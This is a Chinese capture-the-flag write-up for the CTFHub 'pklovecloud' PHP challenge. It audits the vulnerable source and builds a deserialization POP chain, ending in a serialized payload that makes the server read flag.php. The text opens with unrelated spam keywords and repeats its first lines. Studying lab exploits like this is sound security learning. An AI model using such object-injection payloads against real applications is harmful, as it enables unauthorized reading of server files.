山东阳信建设局网站,七牛云wordpress加速,昆山网站网站建设,wap网站 趋势分析1.靶场环境
ctfhub-技能树-pklovecloud
引用题目#xff1a;
2021-第五空间智能安全大赛-Web-pklovecloud
2.过程
2.1源代码
启动靶场环境#xff0c;访问靶场环境#xff0c;显示源码#xff1a;直接贴在下面#xff1a;
?php
include flag.php;
class pks…1.靶场环境
ctfhub-技能树-pklovecloud
引用题目
2021-第五空间智能安全大赛-Web-pklovecloud
2.过程
2.1源代码
启动靶场环境访问靶场环境显示源码直接贴在下面
?php
include flag.php;
class pkshow
{ function echo_name() { return Pk very safe^.^; }
} class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this-cinder new pkshow;} function __toString() { if (isset($this-cinder)) return $this-cinder-echo_name(); }
} class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this-openstack unserialize($this-docker);$this-openstack-neutron $heat;if($this-openstack-neutron $this-openstack-nova){$file ./{$this-filename};if (file_get_contents($file)) { return file_get_contents($file); } else { return keystone lost~; } }}
} if (isset($_GET[pks]))
{$logData unserialize($_GET[pks]);echo $logData;
}
else
{ highlight_file(__file__);
}
?
2.2代码审计思路
进行一下代码审计记录一下思路
1.直接看主函数
if (isset($_GET[pks]))
{$logData unserialize($_GET[pks]);echo $logData;
}
else
{ highlight_file(__file__);
} 要进入if语句中就必须传入一个get参数pks然后对pks参数进行反序列化获得logData对象并且输出这个logData对象。
2.echo在输出一个对象时是去调用这个对象的__toString()方法因此我们跟踪到logData的__toString()方法我们发现声明的acp对象有__toString()方法 class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this-cinder new pkshow;} function __toString() { if (isset($this-cinder)) return $this-cinder-echo_name(); }
}
3.这就说明在主函数中要echo一个logData对象我们只需要让这个logData对象是acp类即可因此我们构造pop链时首先创建一个acp对象。
4.我们观察到acp对象的__toString()方法中的if语句要进入到这个if语句就需要acp对象的cinder参数不为空并且最终会return这个acp对象的cinder属性的echo_name()方法。
5.通过上面我们构造一个pop链
acp-cinder-echo_name()
6.我们发现声明的pkshow和ace对象都有echo_name()方法而很明显pkshow的echo_name()方法是写死的没有参数传入的因此我们需要使用ace对象。所以根据上面的调用链我们需要让acp对象的cinder参数为ace对象。
综合以上几点我们需要构造pop链
$acpnew acp();
$acenew $ace();
$acp-cinder$ace;
7.通过以上pop链已经可以调用到ace对象的echo_name()方法了我们去看这个方法的执行逻辑
class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this-openstack unserialize($this-docker);$this-openstack-neutron $heat;if($this-openstack-neutron $this-openstack-nova){$file ./{$this-filename};if (file_get_contents($file)) { return file_get_contents($file); } else { return keystone lost~; } }}
}
发现最终的结果是返回$file指向文件的内容因此我们设置$fileflag.php而我们要进入if循环就需要满足$this-openstack-neutron $this-openstack-nova也就是ace对象的openstack参数的neutron属性和nova属性相等我们发现acp对象有这两个属性因此我们要让ace对象的openstack属性为acp对象需要新建一个acp对象。
$this-openstack unserialize($this-docker);
根据这行代码我们判断openstack参数是由docker参数反序列化得到的因此ace对象的docker参数就是acp对象。下一行代码
$this-openstack-neutron $heat;
这行代码中heat参数并不存在因此neutron的值为null我们需要让nova参数的值也为null因此我们在声明acp对象的时候不需要给nova赋值结合上述构造pop链
class acp
{ public $cinder; public $neutron;public $nova;
}
class ace
{ public $filename; public $openstack;public $docker;
}
$acpnew acp();$acp2new acp();$acenew $ace();
$ace-filenameflag.php;
$ace-dockerserialize($acp2);$acp-cinder$ace;
echo serialize($acp);
这样最后输出的值就是我们构造的恶意参数 得到pop链
O:3:acp:3:{s:6:cinder;O:3:ace:3:{s:8:filename;s:8:flag.php;s:9:openstack;N;s:6:docker;s:58:O:3:acp:3:{s:6:cinder;N;s:7:neutron;N;s:4:nova;N;};}s:7:neutron;N;s:4:nova;N;}
访问index.php构造恶意参数pksF12查看源码获得flag